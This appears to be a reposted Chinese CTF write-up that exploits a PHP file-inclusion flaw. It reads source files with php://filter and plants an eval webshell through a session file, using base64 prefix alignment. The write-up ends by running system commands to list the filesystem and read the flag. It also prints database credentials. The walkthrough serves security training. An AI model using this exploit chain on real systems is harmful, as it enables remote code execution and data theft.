PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

  1. /var/lib/php/sess_PHPSESSID
  2. /var/lib/php/sess_PHPSESSID
  3. /tmp/sess_PHPSESSID
  4. /tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

题目:

http://54.222.188.152:22589/

解题思路:

php伪协议读取源码

点击login,发现链接变为:

http://54.222.188.152:22589/index.php
?action=login.php

首先读取 login.php 的源码

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源码:

<?php
require_once('config.php');
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");
} else {
die("Invalid user name or password");
}
$stmt->close();
$mysqli->close();
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
<?php
}
?>

读取 register.php 的源码

访问:

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=register.php

得到源码:

<?php
if ($_POST['username'] && $_POST['password']) {
require_once('config.php');
$username = $_POST['username'];
$password = md5($_POST['password']);
$mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($mysqli->connect_errno) {
die("could not connect to the database:\n" . $mysqli->connect_error);
}
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows();
if($count) {
die('User name Already Exists');
} else {
$sql = "insert into user(username, password) values(?,?)";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
echo 'Register OK!<a href="index.php">Please Login</a>';
}
$stmt->close();
$mysqli->close();
} else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
<?php
}
?>

读取 config.php 的源码

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=config.php

得到源码:

<?php
$dbhost = 'localhost';
$dbuser = 'web';
$dbpass = 'webpass123';
$dbname = 'web';
?>

读取 index.php 的源码

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-encode/resource=index.php

源码:

<?php
error_reporting(0);
session_start();
if (isset($_GET['action'])) {
include $_GET['action'];
exit();
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Login</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="css/bootstrap.css" rel="stylesheet" media="screen">
<link href="css/main.css" rel="stylesheet" media="screen">
</head>
<body>
<div class="container">
<div class="form-signin">
<?php if (isset($_SESSION['username'])) { ?>
<?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div>
<a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?>
<?php echo "<div class=\"alert alert-warning\">Please Login.</div>
<a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a>
<a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>";
} ?>
</div>
</div>
</body>
</html>
<?php
}
?>

解题分析:

拿到了源码,首先进行简单的审计一下。

SQL注入?:

有登陆页面,不知道会不会有注入,简单看一下。

往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。

看一下register.php,这里仅截取部分代码:

# register.php
$mysqli->set_charset("utf8");
$sql = "select * from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_id, $res_username, $res_password);
$stmt->execute();
$stmt->store_result();

再看一下login.php:

# login.php
$sql = "select password from user where username=?";
$stmt = $mysqli->prepare($sql);
$stmt->bind_param("s", $username);
$stmt->bind_result($res_password);
$stmt->execute();
$stmt->fetch();

这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。

session

接着再看看,有哪些参数是可控的。

在login.php中:

# 第3行
session_start();
if($_SESSION['username']) {
header('Location: index.php');
exit;
}
# 第8行
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
# 第20行
$stmt->bind_result($res_password);
# 第24行
if ($res_password == $password) {
$_SESSION['username'] = base64_encode($username);
header("location:index.php");

这里使用了session来保存用户会话,php手册中是这样描述的:

  1. PHP 会将会话中的数据设置到 $_SESSION 变量中。
  2. 当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。
  3. 对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。

要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85

访问:

http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

这个/var/lib/php5/的session文件路径是测试出来的,常见的也就是上面所述的几种。

base64_encode

能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

$_SESSION['username'] = base64_encode($username);

如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

未编码: abc
转成ascii码: 97 98 99
转成对应二进制(三组,每组8位): 01100001 01100010 01100011
重分组(四组,每组6位): 011000 010110 001001 100011
每组高位补零,变为每组8位:00011000 00010110 00001001 00100011
每组对应转为十进制: 24 22 9 35
查表得: Y W J j

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足一下条件:

16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

Getflag

注册一个账号,比如:

chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

其base64加密后的长度为128,大于100。

http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();


成功getshell。

访问:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

访问:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

小结

考了几个知识点:

  1. php文件包含:伪协议利用
  2. php文件包含:包含session文件
  3. php-session知识及序列化格式
  4. base64的基本原理

原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)

任重而道远!

最新文章

  1. [JavaWeb 用MyEclipse分别创建最简单的JSP程序和Servlet程序]
  2. cocos游戏开发之海岛冒险1
  3. USACO Section 2.2: Party Lamps
  4. 那万恶的ssh真是麻烦
  5. ecshop中无限处理分类
  6. Ubuntu 14.04的SWAP 为0
  7. 转载C#函数式程序设计初探——基础理论篇
  8. Windows二进制文件的Python扩展包
  9. 08-Xml &amp; Tomcat
  10. Model First 开发方式
  11. js 每到达5次换一行
  12. [转帖]50个必知的Linux命令技巧,你都掌握了吗?
  13. Websocket(一)——原理及基本属性和方法
  14. [转]mysql变量使用总结
  15. Appium 并发测试基于unitest
  16. 记录Kali Linux 安装输入法过程
  17. SQLServer Temp tables 数据疑问
  18. 第十三次ScrumMeeting博客
  19. 进制转换excel版
  20. bzoj4998 星球联盟

热门文章

  1. 被卡住的2个问题:1.输入url不执行后台的java方法 2.改了jsp页面,再次请求还是以前的那个页面
  2. confluence 新tab 页面打开 kibana short link
  3. Generic Realtime Intermediary Protocol
  4. debezium mongodb 集成测试
  5. win10开移动热点让手机使用上网
  6. VMware下ubuntu与Windows实现文件共享的方法 (转)
  7. hdu 1693 Eat the Trees——插头DP
  8. mwan3多wan叠加成功
  9. 开源截图工具cutycapt的安装及使用
  10. Redis持久化实践及灾难恢复模拟 [转]